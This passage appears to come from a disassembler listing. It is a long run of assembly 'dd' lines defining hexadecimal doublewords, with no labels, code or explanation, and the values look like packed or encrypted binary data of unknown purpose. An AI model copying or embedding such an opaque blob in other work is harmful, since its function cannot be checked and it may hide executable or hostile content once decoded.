		dd 8F12BA9Ch, 33C13042h, 0B895457h, 6D207FE9h, 0B652CBFEh
		dd 0F2304927h, 0BCFAFEC1h, 0DF5A149Ah, 32438A01h, 848E3538h
		dd 0B981E90Bh, 51C517ACh, 1E63C354h, 68E07D05h,	0E44E6C56h
		dd 25E817A7h, 0FE4CB5C1h, 80C5C8CDh, 1650F538h,	9F4459EBh
		dd 7C04048Dh, 86065727h, 0BF749948h, 0E924D01Eh, 0B9852954h
		dd 0BED17E60h, 0D02B59CDh, 2983C564h, 0AE19AA39h, 688407EEh
		dd 9EB2543Ah, 0A6E55C73h, 5DE30632h, 56A720FDh,	4B4AD41Fh
		dd 2439B252h, 923FD029h, 0C80763E7h, 5795F71Ch,	0E27872E1h
		dd 439D8439h, 3FC38185h, 71729F75h, 0B1B444A3h,	0C32D3B97h
		dd 0F6140CA7h, 0C427DF98h, 0F5BF9298h, 0FDD09799h, 80CFADDFh
		dd 0B818C047h, 0EF810329h, 640B06F1h, 11CB0C04h, 0BEBCC5ADh
		dd 1E0690Eh, 6708FE29h,	51E90408h, 347AFF3h, 74305F2Eh
		dd 2FBAADBFh, 0C458CAD0h, 0B80B2D38h, 0D8051871h, 7C016720h
		dd 0E507A3F8h, 77CD1112h, 0A8AE927Bh, 701BF0Ah,	29B7593Fh
		dd 25685DF0h, 65515572h, 0C737A280h, 32E95F26h,	0F31D3E6Fh
		dd 5E53BA54h, 0CB74A25Ch, 472E8BC0h, 265290Ch, 7C3B6856h
		dd 466B4A7Ch, 411D98FEh, 9F6C79AAh, 97B9600Ah, 5E456E40h
		dd 2097B00Bh, 5A7608DCh, 62BBC624h, 0ED30D752h,	9C963F97h
		dd 1E30FC63h, 1658C3D5h, 0AFBFC402h, 56627D61h,	0D5C9277Ch
		dd 652DBED6h, 0ACA5BF72h, 0CF88A003h, 530222BBh, 0D86002BFh
		dd 8E355C31h, 4680E0EFh, 0FFC7837Ch, 0B2E95512h, 1CBAB9A0h
		dd 0FDEF3C43h, 0D15E593Bh, 79D8289Bh, 495D84C7h, 5AF38801h
		dd 17517258h, 0B347E2B4h, 0AB841CEBh, 0F82886D1h, 2574DF4Bh
		dd 9E45307Fh, 0F6D78683h, 0FE082CD2h, 0B151033Fh, 0DE100896h
		dd 8100399Ch, 9A7EA9F5h, 0EF4C29D4h, 0FD6417F0h, 0A811FB58h
		dd 0B7189719h, 6E376804h, 0C0E9C94Ah, 1C64B832h, 8B55056Ch
		dd 9200379Bh, 3E31C435h, 86B557E2h, 2D5B9E9Eh, 0F9D12DE8h
		dd 2328A08h, 0A804C8FEh, 100C9987h, 0B353D8F6h,	0E3C0B509h
		dd 0CA9FC07h, 0B746A574h, 351B83Fh, 0D7ED801Ah,	60039AC0h
		dd 3E20C49Dh, 7C7359EFh, 6E730E5h, 0CE04F10Ch, 3B1C2C38h
		dd 5EB874F8h, 59E1C72Dh, 0A2133C14h, 40B3E4F7h,	5028125Ch
		dd 0A69CA5CAh, 9735F069h, 117105B4h, 817B2181h,	6FE46732h
		dd 9088E7DCh, 0E3803F5Fh, 9736EC73h, 1CFB402h, 0A4780E09h
		dd 0B687D3F7h, 0A9BB42A8h, 0ADBDBEDBh, 0F385E22Ch, 9F483E4Eh
		dd 0C1FC235Fh, 0F3E80BCFh
		dd 0CE95433Ah, 0F46CD629h, 7C6129CBh, 0B839E94Ch, 8769932Ah
		dd 50960CC1h, 1A3FCDFCh, 0D8F7751Ch, 0FAE4D097h, 14C5EE9h
		dd 493005FCh, 9CC23AE3h, 0E907812Dh, 312F42EFh,	7DFF029h
		dd 45B5470h, 0FDD8E04Dh, 0C96153D1h, 1B1E60CAh,	77718256h
		dd 0AB00F02Fh, 771FD295h, 889AC504h, 8607E673h,	4644F16Bh
		dd 6FB0B9C5h, 0C1D3DC2Dh, 4FBBC805h, 71660CCh, 0DD440E99h
		dd 0D22838D2h, 13BB3037h, 2DAFBE12h, 83790A25h,	3914CEF5h
		dd 451DC73Fh, 42904051h, 6D2D0C10h, 290F3A1Dh, 0DD633542h
		dd 2F7BD477h, 5FFEA4B0h, 0C0F76EB5h, 638DBE08h,	0FEF821D5h
		dd 90D1E0C9h, 255FC5AEh, 0C5F17CE3h, 276BD92Fh,	42FEE79h
		dd 55002101h, 617758BDh, 9B54277Bh, 0E33168C5h,	3688F731h
		dd 7D18005h, 4709B154h,	0FE08E3C1h, 7BA1821Eh, 77613F2Eh
		dd 0DA890106h, 0E9C5B972h, 0B4CF5245h, 6394CA84h, 68D83101h
		dd 0D5331F32h, 7AE95609h, 0EE777A7Ah, 0EBE23F34h, 5FB84885h
		dd 0E8EC5D25h, 4FE0534Dh, 680CE4B6h, 0C2230C66h, 501C9EB2h
		dd 0E687EC88h, 0DAC45958h, 3BB59E0h, 346CD80Fh,	0F1E1DF01h
		dd 0BD1896C5h, 0F648A3E9h, 16BC5418h, 4798C0B2h, 0CB45D84h
		dd 0AD7EC56Fh, 65062FEh, 0D3E2B774h, 63294814h,	0F22ED394h
		dd 8DB29269h, 99670C4h,	134DD35Bh, 2C46E833h, 415A0A54h
		dd 8F3BB42Dh, 0A0F25AF0h, 0BFA6305Bh, 1B003E57h, 81E7D137h
		dd 3B7CAAF7h, 0EA056E36h, 0C52F2C5Eh, 409ABCDDh, 0C6955F08h
		dd 46E39FC1h, 19B40A4Fh, 0B3525FCEh, 0DEC9DF0Eh, 352CDA93h
		dd 0A81E0AD8h, 46D2DEAFh, 1D66E1B0h, 0EBBC5BEh,	5EEFF031h
		dd 0A9C08433h, 0E977DB3h, 0CC46EFF0h, 0CFC5105Dh, 0C0D3580Eh
		dd 7DE90238h, 54278597h, 987EC8D9h, 54B980A0h, 0C05E51Dh
		dd 0D2C051E2h, 5954B220h, 1459A1ECh, 0E87EAF50h, 727660BCh
		dd 439439EEh, 86FFEDFEh, 340B3885h, 4DA29536h, 0D10015C4h
		dd 98C23BEAh, 447120D2h, 6D1C6817h, 0F6A78361h,	813E91B4h
		dd 28416826h, 0E9074072h, 0D3C3CD4Eh, 4372CF7h,	0E45C96B7h
		dd 0DB58A0F0h, 0BE06A44Eh, 0BC18FB95h, 36A6FC5h, 0ECCFAEE6h
		dd 67033176h, 8EE91D51h, 0EA5503A6h, 32476252h,	1AEB0C40h
		dd 5B83194Bh, 12247692h, 61106F68h, 2BC69370h, 0DE356F70h
		dd 2C0D2484h, 0E6DF08C4h, 73026805h, 63FE8C34h,	0BCD48B31h
		dd 72E5B512h, 2D1BFFC6h, 2F69ECC2h, 47E1C25Ah, 7C29C93Ah
		dd 0CF68C471h, 0B57031FEh, 72DC2CA3h, 61524FB0h, 0E23FA7h
		dd 0C1541477h, 5606EAh,	0AF3C64BEh, 0D9E94E47h,	67D83A5Eh
		dd 81A1C3A9h, 25E061C1h, 0C6B55E16h, 29E926A2h,	47BE818Dh
		dd 300B893Eh, 7D00AED0h, 0EB815B9Ch, 4A99B5DAh,	0C1508236h
		dd 0CF0025C2h, 0A660905Dh, 96FE927h, 1B3FC4Ah, 4A8CCD81h
		dd 528489C3h, 0BB39F4DEh, 0E4BDAC4Ah, 87B53484h, 9FDA28D8h
		dd 0DC2F8468h, 80871A91h, 3DB284F7h, 8ACAD90Fh,	83DEAB45h
		dd 4A180C1Bh, 1EF704EAh, 2A909529h, 1404100Dh, 0FEE92518h
		dd 0FD654AEAh, 15F24BA0h, 0F62EC3FCh, 2D17ABDBh, 2C5B0702h
		dd 0E9B96078h, 0E39D6730h, 4C2472E6h, 0C781DCFEh, 99F8A241h
		dd 412560F1h, 0BE76EC07h, 0EE81015Bh, 52A1292Eh, 438A7B59h
		dd 0C8BE0F02h, 1A759468h, 5D5D4B4h, 0B4E76AE9h,	7931C35Dh
		dd 19E00B04h, 0EB3C906Eh, 29F814A4h, 101FB0F9h,	9C5011E9h
		dd 0E44BCFC9h, 0FEB84CA2h, 4789AD7Eh, 6BDD7E1Ch, 81CF0F04h
		dd 0FDE97213h, 17802628h, 77283122h, 96FC927Fh,	0E19C3E66h
		dd 2D6E4061h, 4C7C1506h, 71FE583h, 5F4B1128h, 0E9C5E5B2h
		dd 6B45D7ABh, 992E87EEh, 59C20C97h, 62C1D6CCh, 0B2DE0F73h
		dd 3A48FA82h, 0B3DA4101h, 0B6B752Bh, 0B12065BEh, 2FC6ADBBh
		dd 0EB019C13h, 19F8AF12h, 1ABE2CA9h, 5C1C2FDDh,	0F681007Dh
		dd 80F9C3F0h, 0C8030F90h, 2922A82Ch, 89240F7h, 0C1095F5Eh
		dd 403B98AEh, 466CA058h, 928D564Eh, 76C1D12Bh, 0B8B40438h
		dd 345BF5Ch, 0E906E021h, 2E97369Ch, 107603EDh, 0F1810690h
		dd 0F6D21029h, 34CBC1Eh, 207F83ADh, 7C208185h, 7753E9Ch
		dd 9D3147B4h, 0D518D89h, 942BE4ADh, 0EC509376h,	61A6A55Bh
		dd 2DAA165Ah, 21670939h, 7F4A2A1Ah, 0B33ED7E2h,	0FAE8413Eh
		dd 0B092F877h, 5D8F4000h, 5B5657h, 341A57BDh, 2F52553Bh
		dd 0CCFB5A5Dh, 0E94D0B3Ah, 0BB8C4013h, 0F3641AF1h, 0AC72803Ah
		dd 4573CF0Fh, 88D33E4Dh, 505DCE0h, 7D6911C4h, 4BEF8035h
		dd 0C652013Dh, 7813C62h, 0A62376E8h, 555EF2E0h,	0FBE91656h
		dd 4FBEE625h, 0AE5313E6h, 0A05D418h, 8013F4B1h,	520E28EBh
		dd 10CB8D34h, 4ABBE9D4h, 489EA29Eh, 5AB000DDh, 0DFF749F3h
		dd 1FC14EE9h, 238902BAh, 1C06B1Bh, 69F22FC8h, 952BD3Ch
		dd 7629D4DAh, 0ECDD5B9Ah, 0B51D24DCh, 26FA63ADh, 0CA6858EAh
		dd 7C9310CEh, 10D12DFBh, 0BB009B17h, 48162759h,	6309F381h
		dd 80217746h, 345DC36h,	0E9D11C44h, 29A88B49h, 0A5BC1574h
		dd 97F6032h, 0D2C5B5FEh, 4CDDC681h, 0BE204D37h,	5269EAE7h
		dd 0C541A765h, 0ED014F76h, 0E942FC5Eh, 0E3217581h, 9774F1A8h
		dd 649E752Eh, 0F9D08B09h, 13B54288h, 0BC24306h,	8DDA74A6h
		dd 4E2FD1FEh, 0F0E92D5Ch, 0D3F74103h, 0F6FA0CBAh, 4C8B5BFEh
		dd 0D8505F90h, 8CE35F79h, 6ABFC11Ch, 719260B6h,	0DC5FC109h
		dd 0CC1CEC80h, 5B0289C4h, 2858E588h, 0A255C8EBh, 5C92B70Ch
		dd 0B1C59A85h, 97F32A74h, 63F2D3C9h, 0BC8E3B20h, 15212B3h
		dd 387F1B24h, 0D725071Ch, 4B16E8F8h, 288ABCC5h,	0BF4B9702h
		dd 2EEB5B24h, 28CD4AFFh, 0B39807Fh, 85160FDBh, 0F545FA97h
		dd 0D3CD41C6h, 0A61AEDE0h, 0E9541A9Dh, 5854EFF6h, 0CFECD347h
		dd 0A9C853F3h, 4E7C013h, 4AB6F84h, 50913359h, 0F700F9CBh
		dd 2B9848D8h, 5F10B666h, 4C40B73Bh, 0C4B7AA1Fh,	0CCB04Ch
		dd 6C462D3Ch, 8C6CE81h,	4E1E8C12h, 5C9A4200h, 61F74856h
		dd 1A53FCD6h, 8C6B6030h, 9041104Eh, 20A60289h, 4A02620h
		dd 2165B61Ah, 40C08BDFh, 3FF4FDBAh, 0FE2C29F2h,	6B03FA5Fh
		dd 0C8251B56h, 0A0BA52F3h, 5BD30108h, 42E7295Ah, 0DB53B042h
		dd 11D1218Bh, 5E2ADEA5h, 8325325h, 82278D7Fh, 5606EFE4h
		dd 0D007C44Dh, 8023B2C7h, 0C045E21Ch, 0EB5605DFh, 0DF843752h
		dd 1080B550h, 0AD1D21D6h, 8467D257h, 0F71BBA5h,	56008CF7h
		dd 0E89C5E5Fh, 22C20A12h, 0EC196050h, 70CB2D69h, 0A8434D61h
		dd 0C788DCFh, 0F642975Bh, 76525DEAh, 0C9134558h, 0A16D80Eh
		dd 1554158h, 0E826F0C1h, 41DB295Bh, 1CA1081Ch, 12910014h
		dd 8EE96AAFh, 4A13A149h, 4C7E95C9h, 0BFC197CAh,	0C54E4B09h
		dd 0D0EC7260h, 3A01D608h, 811F333Eh, 0D35DF4CAh, 0F2011876h
		dd 3B0A7788h, 0DA28B2E9h, 474E5E12h, 0F2BBE624h, 81750422h
		dd 8B6E92Ah, 0BAA5E068h, 6848E962h, 7ADBA43h, 314D0A19h
		dd 8D126CAh, 0B1F1A088h, 0F0426F94h, 612057F2h,	4A2637EEh
		dd 5F51224Ch, 0FE5BE302h, 5B59C8h, 0D02E8C1h, 0ED1F1A91h
		dd 3797501Eh, 0B9F25652h, 0F8A0D2Ah, 17F7BA66h,	33C23629h
		dd 55FB0955h, 4D9B6030h, 60C18080h, 8894065Ch, 302559CAh
		dd 0CEB048D5h, 0F5318007h, 0E99A1390h, 68B340E9h, 19951C47h
		dd 0E780947Ch, 5E36F52Dh, 0D0280168h, 2B810705h, 3AB3C15h
		dd 51A2F781h, 9E9667h, 4A660250h, 2833262Dh, 0F81229E4h
		dd 54B38D68h, 1622ED50h
		dd 0AC7BBC75h, 47D300F8h, 0EBC17ABFh, 0DBF72403h, 40EE0261h
		dd 374001E3h, 1C13FBC5h, 84122952h, 0A34046F8h,	5C4940C3h
		dd 588494BFh, 0A9165457h, 68ECDCB2h, 7F07F62Eh,	36BC006Bh
		dd 9837594Ah, 312D0472h, 0ABA0C8A2h, 0BE005DCAh, 27DE139Bh
		dd 83B5AFE9h, 0B9F130ECh, 403F0C86h, 0E73F831Fh, 0A109BF4Eh
		dd 52F3587Eh, 16ED7BE0h, 81DD55Dh, 0D927AF27h, 0F23816C5h
		dd 561002B5h, 5E01489Eh, 70820A3h, 895F5557h, 5D5B323Bh
		dd 68400DD9h, 4C690AE4h, 0EF028407h, 31986E3Bh,	3407C157h
		dd 0E5308D7Eh, 2D332582h, 5BF5035Ch, 0B039421Eh, 2531BDE5h
		dd 947C7670h, 0FC64C581h, 1E317DFDh, 0E974283Ah, 4E42292Fh
		dd 64E69D17h, 2762534Fh, 2C827D5Bh, 68D842E9h, 2E29B800h
		dd 50D7235h, 16A3244Bh,	0CAC313F8h, 442641A9h, 0E2DBB4Eh
		dd 920CD520h, 8A5C25B1h, 5B26D2DBh, 0D19DC02Fh,	38351CE0h
		dd 1081612h, 0A97FFB5Fh, 2BF2206Bh, 40182124h, 15EF000h
		dd 58A3E9F8h, 0ADDFBE09h, 0B4E9F338h, 0AC125CBCh, 0B38745A9h
		dd 27E8F223h, 4B9236DEh, 0C1B7AD80h, 7DAE2A68h,	6EB6002Dh
		dd 0FE4DF680h, 0E63BC0CEh, 0E9D68908h, 3AF462FBh, 0E196DD82h
		dd 0F2EB4E2Ah, 7C91899Fh, 970FA804h, 0FE0010CAh, 0F15082EBh
		dd 1C81464Bh, 0C2043EFFh, 61706D4Dh, 93B05566h,	2083987Bh
		dd 83BD89B0h, 0F60530D0h, 0A3562032h, 2FB2521Eh, 29DCA80Ch
		dd 16D107EBh, 69013404h, 0B1AED404h, 2B287E64h,	80F25B29h
		dd 7BF57D19h, 1E6CDCB1h, 7AE313FCh, 0E9DC0346h,	6A4EA77Dh
		dd 29801249h, 4D79D9D5h, 3702CCCh, 0FB7486BAh, 6B500627h
		dd 0C1FED6Eh, 0B24D5B30h, 2FE9D309h, 62E4E5CAh,	1F5A84F0h
		dd 81A5F3F2h, 0C42FC073h, 21ED012Ah, 1F08042Bh,	20BFC2BDh
		dd 0F882622h, 0A2E90908h, 0BA1EDAF8h, 47936A37h, 9C6BB0E8h
		dd 0E956B7C8h, 5E129D5Bh, 53F592BCh, 0E585FC4Fh, 68D045AAh
		dd 953EC83h, 0E07CE954h, 9A415E65h, 344613C4h, 0FEE20036h
		dd 144217Eh, 9E8DD95Bh,	9559CDE0h, 1A03F8F0h, 21435288h
		dd 93A020E8h, 6707C9FAh, 51031B6Ah, 73D059C5h, 58283068h
		dd 0E94C3776h, 0A2010F5Dh, 56F3671Ch, 20F5F65Dh, 0D22DF8C9h
		dd 29DD0444h, 0E32F6E9h, 8102CAC1h, 8C6E87D1h, 4F2CE90Eh
		dd 5883E5F3h, 0D791D0F7h, 5C76109h, 7C4CC86Ah, 753B240h
		dd 0CF8092B7h, 3AF73315h, 605BFC81h, 7197A4FEh,	0D7B800D0h
		dd 25635D0Bh, 8353F93Dh, 296B0D42h, 0B8AE4Dh, 31C507EEh
		dd 0F82158C7h, 20D15F4Ah, 697C3D2Fh, 6D5E982h, 0ED500676h
		dd 194B184Fh, 3A7D0C1Bh, 91A7620h, 34456F37h, 8DA287Dh
		dd 145F0C34h, 87B32028h, 80A04692h, 2EBD772Ch, 924AD7EAh
		dd 1760ADF7h, 0E0B387B9h, 95131818h, 2417D9C6h,	0C601291Fh
		dd 7F6B3F80h, 0E86DCEF0h, 4E0603F7h, 7966BF57h,	0A1EF15DBh
		dd 60F450FDh, 843DCFF3h, 182FB00Ch, 4AC26259h, 1E70183h
		dd 2CB5E9F5h, 0B65203BFh, 8190B1BAh, 7C745AF1h,	86C30380h
		dd 0B450D328h, 64E30A2Fh, 430B5E8Eh, 53947A8h, 5879984h
		dd 6F25FBAEh, 586549BBh, 0B90179D9h, 176546FBh,	24083120h
		dd 389D9F7h, 1E092D44h,	22780C07h, 0C1C07A5Fh, 12680D4Ah
		dd 0ACB01B1h, 0C29ADA20h, 284BBEB0h, 0B37E23F2h, 42F3F325h
		dd 0F46CB6F5h, 355E5F7Ah, 0E1C74985h, 0F5997382h, 3055963Ah
		dd 462BFF5h, 0F738F43Ah, 15BC81D7h, 0FD88008Ah,	65A725Bh
		dd 0F6F8ED80h, 30E60ADDh, 7E49E84Bh, 778C2AB3h,	9007AC0Bh
		dd 132C9A76h, 427B1Eh, 0E1D36948h, 0D70B0184h, 20BA63E9h
		dd 5CD8BD1Ah, 82F95B71h, 9D742101h, 9F9270A7h, 5913EE4Dh
		dd 0F958A5A2h, 9596222Fh, 0C67C1FAh, 8A75EE35h,	0C59AEB8h
		dd 0D2D3C99Eh, 2213A5A0h, 0C7F4621Ch, 7F5CCEA9h, 0C87AA68Ah
		dd 0B9000558h, 156DC849h, 4AF97C01h, 0A817C4B6h, 49588E3Dh
		dd 2C677219h, 69148625h, 186663FCh, 82179C1Bh, 0F6449563h
		dd 0DA260B77h, 71990823h, 2E005780h, 6848F744h,	314C4A04h
		dd 185F2DAh, 0C02ED15Fh, 751DC728h, 73045D4Eh, 0E994DAE9h
		dd 591D78BEh, 0E2A54E91h, 5217D74Eh, 17B3A888h,	0CD490857h
		dd 5BFA2801h, 0ADE8D030h, 0F23FCA2Ah, 6FBA0C9Fh, 0D433AA0Ch
		dd 0E067B5F6h, 2DF74CDDh, 4E4142DAh, 8DEEECC2h,	0D5892110h
		dd 0BBE9EA04h, 0E4040436h, 0B91049BCh, 9C4C503Ch, 0C3A21D4Eh
		dd 0ABD0C4D3h, 20085F26h, 748E8B54h, 8CCBE917h,	72035BBDh
		dd 316322F2h, 814A5EA1h, 85568ABCh, 3770014Ch, 68EB409Dh
		dd 9126A02Dh, 9496545Ah, 0F1B9E444h, 1A5F609Dh,	837B5016h
		dd 74170CC7h, 21461FAEh, 0D0807D9Eh, 0BA7DAA59h, 4B781283h
		dd 34540909h, 0CAA9F45Eh, 16BFB408h, 958ED85Ch,	0DBDA033Ah
		dd 99817383h, 1EF4183Fh, 5F84FE9h, 0BE91583Dh, 0A4C2B55Eh
		dd 0D349303Eh, 0A1BF12E8h, 4BE86D5Ch, 5284D6A2h, 8B2922BAh
		dd 896B49D4h, 0F6FA166Eh, 1DE34A31h, 7F849410h,	0B5514400h
		dd 5EC5803Bh, 2617B820h, 415D237Ah, 3A6D64F0h, 0FFE9A08h
		dd 0E001AFBDh, 6EEF3129h, 477AD902h, 621340BAh,	99BD9CB5h
		dd 0D8030604h, 480705E0h, 91019B2Dh, 59C56B0Eh,	71341913h
		dd 48157D5Dh, 85855AF4h, 0FEE3CFAh, 57C8BF06h, 2F3F4C68h
		dd 0E8B9BE9h, 0EE09C25Bh, 846A515Dh, 0BB1785E9h, 0F580E520h
		dd 0EC882D77h, 0DD398471h, 248E4F4Fh, 165A8648h, 52658189h
		dd 0FA507050h, 5FE98680h, 0E792D210h, 57384FC1h, 0BD87F238h
		dd 0BF05317Dh, 5F2F5F78h, 0CB44C51h, 0DA293A4Ah, 960535ACh
		dd 0B6C2323Eh, 0EABE41EFh, 93314B2Fh, 0E2A01CAFh, 0C6685657h
		dd 0FCF07095h, 77C04B04h, 906FB5E4h, 3FF18046h,	0AA92E3F0h
		dd 89FA012Ah, 0CBE35F4Ch, 28B4F317h, 20969DE5h,	12C4FACh
		dd 0D110A6D5h, 1F45BD03h, 0B2A7700Ah, 0BD563B77h, 64A6E28Ah
		dd 8781F616h, 3531C2B5h, 5E00F73Ch, 8103EEC1h, 0E81746F6h
		dd 80EC2A13h, 0DD09075Bh, 893AA178h, 0DB002FFAh, 0CEFF6B9h
		dd 28B3A255h, 494EEAh, 62114E0Bh, 9D29585Bh, 490DE113h
		dd 57CB6807h, 2F0928F6h, 0D669DD77h, 2C08A085h,	0A4653AE9h
		dd 5D80096h, 1C473616h,	0BB2533B8h, 45013E4h, 8E49CC56h
		dd 80EB0B62h, 89EF40A6h, 0E6F7F2D8h, 0AEBE0456h, 0C11B4611h
		dd 0F0C86E84h, 2F4EE9A7h, 7E207982h, 685158A0h,	7E678C25h
		dd 31F77A36h, 4905F0B3h, 0B7F2C740h, 12CEC205h,	12FC0F44h
		dd 66339132h, 83941463h, 0AAE29697h, 9E681B48h,	90E65F4Fh
		dd 0EE35B444h, 1763073Fh, 7555605h, 0F633F239h,	25384245h
		dd 2FA264C3h, 62E4FB2Fh, 1206B33Dh, 0ACB3A05Ch,	16961D10h
		dd 0EE212166h, 0ED72822Ah, 52DF0F12h, 4A37E818h, 71161AB3h
		dd 9E6DB8FDh, 93977C0Ch, 39530FEAh, 826F25E2h, 9DEDB74h
		dd 9321E884h, 0CEFECCCDh, 0C5F98585h, 2C72ADD9h, 0A2A48E1Eh
		dd 79AA6909h, 0B8608DC5h, 2C88F841h, 2D4ADE7Ah,	0CCF358C7h
		dd 510A0581h, 0EFD1B966h, 0D50F1D1Fh, 0F12929B2h, 31760883h
		dd 0B4509F3Dh, 2FEEA6FCh, 53388AA8h, 79902C1Ch,	0F2DE993Eh
		dd 1119C61h, 52F240C2h,	0E6E3E47h, 0D37082F4h, 3E60534Bh
		dd 8D0AAB06h, 0FC0D3072h, 4167691Bh, 0BA088AFAh, 664F202h
		dd 1C815F03h, 3CA6E94Fh, 0D0282F4Bh, 0EB801499h, 0E575F337h
		dd 51BC02D7h, 4CE9AEB1h, 582E9BDDh, 77166885h, 5F64A3C2h
		dd 50888AF4h, 97ECCFE5h
		dd 9B92AC18h, 6B516EB7h, 73891F59h, 5DE80AB8h, 189F66C6h
		dd 0FE4F5812h, 5202BF1Fh, 6C940209h, 34E1B019h,	422321F7h
		dd 0B89EFF9h, 0CB20820h, 0C5B82E27h, 0CFF8984Ah, 0F13DBEE4h
		dd 0B5E152AAh, 27BD0445h, 0E5225903h, 0AB6FD153h, 0F718890Eh
		dd 9D9984D6h, 0C4309C89h, 68A140AFh, 1A3E983Fh,	0D5A85F05h
		dd 28EFEB91h, 75B24FC9h, 0E67CFBDFh, 6615C518h,	7720F03Bh
		dd 5C36806Bh, 11897A99h, 5564D6D9h, 0C54DE5F8h,	689A5996h
		dd 81CD85F2h, 9AB802C6h, 7F2284A3h, 15929E38h, 5D27BB0Fh
		dd 0BF406FAh, 0E0FF1AB5h, 2C2205B5h, 12A23092h,	25FFD1A7h
		dd 0DEF32A3Dh, 12E45C8Fh, 3BDA9C2h, 4A20BD35h, 0F57BE31Bh
		dd 0D4F68049h, 9389A588h, 0C48B4E74h, 0B0A8442Fh, 32892066h
		dd 45E20ABDh, 9F279502h, 5F97623Ah, 62B4A5B0h, 6039332Fh
		dd 4A808F5h, 0E940EC48h, 680A90A3h, 46B73F69h, 84EA5B01h
		dd 80D2850Bh, 88520C44h, 0E6B0FA5Eh, 0B8364B67h, 6884DF1Bh
		dd 0CFAE6D27h, 34F65B1Bh, 74B38650h, 208CB82Fh,	1997DE5Bh
		dd 8D354F02h, 0DB98B22Ah, 0C28E39A3h, 0B74CE84Bh, 0C98582D9h
		dd 940C40Bh, 0CF703C67h, 142FB374h, 0B9510304h,	27B03572h
		dd 25D6C9F8h, 6145B824h, 3C788A02h, 6F9E6016h, 1B9900AEh
		dd 4659CE89h, 0DCF6EED1h, 58F4F04Bh, 34CA0FEFh,	0F38964C4h
		dd 48F4C6A9h, 3196971Ch, 0B14089CAh, 0EF8524E9h, 5E1596AEh
		dd 0B031937Eh, 0B0162C86h, 0F5B05A66h, 0E2564ACBh, 6422D3AFh
		dd 26D15819h, 2DE5D331h, 5090C0FAh, 4ABD8373h, 3E804126h
		dd 0C7922228h, 0DA40B292h, 2F6FF554h, 0B2E1786Dh, 0E230585Ch
		dd 2AC12838h, 0CFEED040h, 4B270BF6h, 0E9AD0509h, 4A6B1B5h
		dd 0D0F70551h, 0B0828CE2h, 1749207Ah, 323D5EBAh, 922B896Ah
		dd 57ABB834h, 0D351E403h, 1B30481Eh, 4210449Ah,	10A028Ah
		dd 5B7A415Ch, 41D60470h, 0C1843AC1h, 54DC05FBh,	7930AB1Ah
		dd 0C09AFCE9h, 180C291h, 0C5914DACh, 0D5F91792h, 9A99784h
		dd 8C2D464h, 0C22F7E10h, 4C65F9B2h, 706B79Eh, 0B5B83F51h
		dd 0D5315C0Bh, 0A8C62919h, 0EA8348D0h, 3E269EB9h, 7402C209h
		dd 7DD3D113h, 0DC64138Eh, 0A46213CDh, 0E976910h, 7E03E1C0h
		dd 7016085Ah, 525A5EC3h, 4469BE1Fh, 0D0467B02h,	5747BDDFh
		dd 155482Dh, 0C5F894F8h, 96F1B805h, 955BFBB2h, 126FF805h
		dd 0D4B8E7EFh, 10E8C1C2h, 0F447C05Dh, 0C2B38666h, 24A22A08h
		dd 59D501F8h, 2F013D5Bh, 80FCC84h, 56BA4BE9h, 0A039640Fh
		dd 0E24EC11Eh, 0E000CAE1h, 0B2D235Fh, 280B4BBAh, 46BDA7Ah
		dd 6C7E02DEh, 0DBC557B5h, 0B64E70EBh, 0E95E41D2h, 68CB242Bh
		dd 6828642Ah, 0A8EFB805h, 0AC842597h, 0F62F06F1h, 0E74C16E0h
		dd 4A543ECCh, 0C565B80Bh, 0F140BC8Ah, 0EF8003E7h, 515216E6h
		dd 0C550950h, 5CA59973h, 0F83061F2h, 2E217366h,	0B581AB02h
		dd 8FB6E995h, 0F9015D00h, 16685F0Bh, 50DEF66Eh,	4EB998E9h
		dd 5B836810h, 0A99EDA01h, 0FE2C5C7Dh, 76B3945h,	85D380FBh
		dd 620C003Ah, 0E914167Eh, 31959B65h, 652B0C8Ch,	870320Eh
		dd 4FB75378h, 0AAE986D5h, 5E5C549Fh, 1AEBE12Dh,	0D71C3ACh
		dd 2BFBAA03h, 22DAAFD9h, 12097C17h, 6C4C4236h, 49ECA2B4h
		dd 0C7635355h, 92FD27Ah, 97513121h, 257E53C9h, 1320F6E4h
		dd 965050D8h, 5C600035h, 56E8B840h, 0A1B07F71h,	2659DC40h
		dd 7A7EB01h, 9D857A1h, 2B6AAFE0h, 6E90B572h, 0DD2D4803h
		dd 0AB277669h, 0ACD4F1B3h, 8F1D137Fh, 92214A96h, 68017B98h
		dd 1CB62EE5h, 912DEE92h, 0E916A076h, 1327F65Dh,	72CC1822h
		dd 0F58F4106h, 9275BE5Eh, 0B42002C5h, 9DBCB252h, 0ACD968F0h
		dd 0B920F559h, 618941F4h, 0E558D29Eh, 0D9886426h, 0D24F371Ah
		dd 5BEBB5D6h, 7F807DE9h, 4AB3BC77h, 0EE7F3DADh,	654D56A4h
		dd 0BE2AAB34h, 2AE5010h, 0D93D3F25h, 0D601416Ah, 917B4B35h
		dd 2F1FEA78h, 0CA27E18Ah, 0C7BBF540h, 77270CFAh, 2DF12001h
		dd 4C462F3Ch, 1200421Ch, 1076D1Eh, 9F31E9C5h, 0E13060D5h
		dd 0CA7B7821h, 55E90B33h, 88417125h, 5D147AACh,	46C72FB8h
		dd 4A074AD4h, 13A84293h, 128AED01h, 0CAC72829h,	9C1E065Ch
		dd 0D469122Bh, 874FC2DDh, 0D1033357h, 3274B730h, 5FEB9D55h
		dd 12677A12h, 68C236BCh, 4D571C7Ah, 0CD5112D1h,	30D9FD89h
		dd 0E925CE3Dh, 58F784E8h, 75388ABh, 0FA96B09Fh,	0FCDA4A48h
		dd 7B090076h, 0ADE9970Dh, 64289C87h, 218CBA2Ch,	877F82E1h
		dd 0B7947E63h, 3C277EB9h, 0F649F671h, 90CD0B9Dh, 0B365FE76h
		dd 6027B65Eh, 1752EA0Eh, 0B567831Ah, 0C208041Ch, 0B804E359h
		dd 934D50EEh, 7812E34Bh, 490B0B4Ah, 129E045Fh, 3713CC44h
		dd 65640782h, 0E9E7B1E0h, 255A6856h, 0C7CCFE50h, 0A0BB4537h
		dd 0DC23323h, 69F9B8E9h, 4392D882h, 3E2AFF5Bh, 91FC7450h
		dd 134E0A33h, 0DBB98148h, 0F41D5A43h, 259423F9h, 76498F67h
		dd 0B2D57A8Ch, 5F0DA996h, 25B0F9Eh, 0B84AFDA3h,	61BFF411h
		dd 7F7920C0h, 8106E3D0h, 0B03B0BC7h, 4CE20AA1h,	5E49A55Eh
		dd 0F250888Ch, 587EF12Dh, 59B8A7Dh, 1A248C20h, 0C9E898E8h
		dd 7FDAB4A4h, 0B027E716h, 0B1A9Ch, 8FBE567Eh, 59032629h
